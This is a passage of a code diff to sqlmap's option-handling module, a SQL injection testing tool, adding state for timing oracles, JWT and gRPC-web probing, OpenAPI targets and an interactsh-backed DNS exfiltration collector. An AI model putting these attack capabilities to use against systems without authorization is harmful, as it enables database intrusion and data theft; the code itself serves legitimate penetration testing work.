||||
while len(_) < 2:
|
||||
_.add(randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET))
|
||||
kb.chars.start, kb.chars.stop = ("%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, __, KB_CHARS_BOUNDARY_CHAR) for __ in _)
|
||||
|
||||
_ = set()
|
||||
while len(_) < 4:
|
||||
_.add(randomStr(length=1, lowercase=True))
|
||||
_.discard(KB_CHARS_BOUNDARY_CHAR)
|
||||
kb.chars.at, kb.chars.space, kb.chars.dollar, kb.chars.hash_ = ("%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, __, KB_CHARS_BOUNDARY_CHAR) for __ in _)
|
||||
|
||||
kb.checkWafMode = False
|
||||
kb.choices = AttribDict(keycheck=False)
|
||||
@@ -2150,6 +2255,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.forkNote = None
|
||||
kb.futileUnion = None
|
||||
kb.fuzzUnionTest = None
|
||||
kb.gadget = None
|
||||
kb.heavilyDynamic = False
|
||||
kb.headersFile = None
|
||||
kb.headersFp = {}
|
||||
@@ -2160,6 +2266,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.heuristicPage = False
|
||||
kb.heuristicTest = None
|
||||
kb.hintValue = ""
|
||||
kb.jwtChecked = False
|
||||
kb.htmlFp = []
|
||||
kb.huffmanModel = {}
|
||||
kb.respTruncated = False
|
||||
@@ -2167,6 +2274,11 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.disableHuffman = False
|
||||
kb.huffmanProbes = 0
|
||||
kb.huffmanEscapes = 0
|
||||
kb.lowCardCache = {}
|
||||
kb.dumpCharset = {}
|
||||
kb.dumpCharsetStable = {}
|
||||
kb.litmusCounter = 0
|
||||
kb.reliabilityAlarm = False
|
||||
kb.httpErrorCodes = {}
|
||||
kb.inferenceMode = False
|
||||
kb.ignoreCasted = None
|
||||
@@ -2180,13 +2292,17 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.lastParserStatus = None
|
||||
|
||||
kb.locks = AttribDict()
|
||||
for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "socket", "redirect", "request", "value"):
|
||||
for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "multibit", "prediction", "socket", "redirect", "request", "value"):
|
||||
kb.locks[_] = threading.Lock()
|
||||
|
||||
kb.matchRatio = None
|
||||
kb.maxConnectionsFlag = False
|
||||
kb.trueLength = None
|
||||
kb.mergeCookies = None
|
||||
kb.mysqlUtf8mb4 = None
|
||||
kb.multiThreadMode = False
|
||||
kb.multibit = {} # per injection point: absent=untried, False=unusable, else the row channel profile
|
||||
kb.multibitHinted = False
|
||||
kb.multipleCtrlC = False
|
||||
kb.negativeLogic = False
|
||||
kb.nchar = True
|
||||
@@ -2209,12 +2325,20 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.pageTemplate = None
|
||||
kb.pageTemplates = dict()
|
||||
kb.pageEncoding = DEFAULT_PAGE_ENCODING
|
||||
|
||||
# calibrated TRUE/FALSE reference bodies for the boolean same-HTTP-code anomaly guard (inference.py)
|
||||
kb.trueTemplate = None
|
||||
kb.falseTemplate = None
|
||||
|
||||
# latched once network jitter is observed, so character validation escalates to a majority vote
|
||||
kb.jitterSeen = False
|
||||
kb.pageStable = None
|
||||
kb.pageStructurallyStable = None
|
||||
kb.partRun = None
|
||||
kb.permissionFlag = False
|
||||
kb.place = None
|
||||
kb.postHint = None
|
||||
kb.grpcWeb = None
|
||||
kb.postSpaceToPlus = False
|
||||
kb.postUrlEncode = True
|
||||
kb.prependFlag = False
|
||||
@@ -2249,6 +2373,9 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.suppressResumeInfo = False
|
||||
kb.tableFrom = None
|
||||
kb.technique = None
|
||||
kb.timeless = None # active HTTP/2 timeless-timing oracle (lib/request/timeless.py) or None
|
||||
kb.timelessHinted = False # whether the "target speaks HTTP/2 -> try --timeless" nudge was shown (once/run)
|
||||
kb.timelessRestore = None # classic time-based vector to re-forge stragglers onto after disengaging
|
||||
kb.tempDir = None
|
||||
kb.testMode = False
|
||||
kb.testOnlyCustom = False
|
||||
@@ -2267,6 +2394,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
|
||||
if flushAll:
|
||||
kb.checkSitemap = None
|
||||
kb.crawledHosts = set() # hosts whose robots.txt / well-known paths were already probed
|
||||
kb.headerPaths = {}
|
||||
kb.keywords = set(getFileItems(paths.SQL_KEYWORDS))
|
||||
kb.lastCtrlCTime = None
|
||||
@@ -2506,6 +2634,26 @@ def _setDNSServer():
|
||||
if not conf.dnsDomain:
|
||||
return
|
||||
|
||||
from lib.core.settings import OOB_INTERACTSH_SERVERS
|
||||
|
||||
_requested = conf.dnsDomain.strip().lower()
|
||||
if _requested in ("interactsh", "oast", "oob") or _requested in OOB_INTERACTSH_SERVERS:
|
||||
infoMsg = "setting up interactsh-backed DNS exfiltration collector"
|
||||
logger.info(infoMsg)
|
||||
|
||||
try:
|
||||
conf.dnsServer = InteractshDNSServer(server=_requested if _requested in OOB_INTERACTSH_SERVERS else None)
|
||||
conf.dnsServer.run()
|
||||
conf.dnsDomain = conf.dnsServer.domain
|
||||
except socket.error as ex:
|
||||
errMsg = "there was an error while setting up "
|
||||
errMsg += "the interactsh DNS collector ('%s')" % getSafeExString(ex)
|
||||
raise SqlmapGenericException(errMsg)
|
||||
|
||||
infoMsg = "using interactsh DNS collector (exfiltration domain '%s')" % conf.dnsDomain
|
||||
logger.info(infoMsg)
|
||||
return
|
||||
|
||||
infoMsg = "setting up DNS server instance"
|
||||
logger.info(infoMsg)
|
||||
|
||||
@@ -2602,15 +2750,6 @@ def _setHttpOptions():
|
||||
_http_client.HTTPConnection._http_vsn = 10
|
||||
_http_client.HTTPConnection._http_vsn_str = 'HTTP/1.0'
|
||||
|
||||
if conf.url and (conf.url.startswith("ws:/") or conf.url.startswith("wss:/")):
|
||||
try:
|
||||
from websocket import ABNF
|
||||
ABNF # require websocket-client, not any 'websocket' module
|
||||
except ImportError:
|
||||
errMsg = "sqlmap requires third-party module 'websocket-client' "
|
||||
errMsg += "in order to use WebSocket functionality"
|
||||
raise SqlmapMissingDependence(errMsg)
|
||||
|
||||
def _checkTor():
|
||||
if not conf.checkTor:
|
||||
return
|
||||
@@ -2632,6 +2771,12 @@ def _checkTor():
|
||||
logger.info(infoMsg)
|
||||
|
||||
def _basicOptionValidation():
|
||||
_nonSqlTechniques = ["--%s" % _ for _ in NONSQL_TECHNIQUES if conf.get(_)]
|
||||
if len(_nonSqlTechniques) > 1:
|
||||
errMsg = "only one non-SQL technique switch may be used at a time (found: %s). " % ", ".join(_nonSqlTechniques)
|
||||
errMsg += "each is a self-contained scan for a different back-end class - pick one"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if conf.limitStart is not None and not (isinstance(conf.limitStart, int) and conf.limitStart > 0):
|
||||
errMsg = "value for option '--start' (limitStart) must be an integer value greater than zero (>0)"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
@@ -2717,8 +2862,8 @@ def _basicOptionValidation():
|
||||
errMsg += "'SQLMAP_UNSAFE_EVAL=1' to be explicitly set"
|
||||
raise SqlmapSystemException(errMsg)
|
||||
|
||||
if conf.chunked and not any((conf.data, conf.requestFile, conf.forms)):
|
||||
errMsg = "switch '--chunked' requires usage of (POST) options/switches '--data', '-r' or '--forms'"
|
||||
if conf.chunked and not any((conf.data, conf.requestFile, conf.forms, conf.openApiFile)):
|
||||
errMsg = "switch '--chunked' requires usage of (POST) options/switches '--data', '-r', '--forms' or '--openapi'"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if conf.api and not conf.configFile:
|
||||
@@ -2818,10 +2963,6 @@ def _basicOptionValidation():
|
||||
errMsg = "switch '--dump' is incompatible with switch '--dump-all'"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if conf.predictOutput and (conf.threads > 1 or conf.optimize):
|
||||
errMsg = "switch '--predict-output' is incompatible with option '--threads' and switch '-o'"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if conf.threads > MAX_NUMBER_OF_THREADS and not conf.get("skipThreadCheck"):
|
||||
errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
@@ -3011,7 +3152,7 @@ def init():
|
||||
|
||||
parseTargetDirect()
|
||||
|
||||
if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe)):
|
||||
if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe, conf.openApiFile)):
|
||||
_setHostname()
|
||||
_setHTTPTimeout()
|
||||
_setHTTPExtraHeaders()
|
||||
@@ -3027,6 +3168,7 @@ def init():
|
||||
_doSearch()
|
||||
_setStdinPipeTargets()
|
||||
_setBulkMultipleTargets()
|
||||
_setOpenApiTargets()
|
||||
_checkTor()
|
||||
_setCrawler()
|
||||
_findPageForms()
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user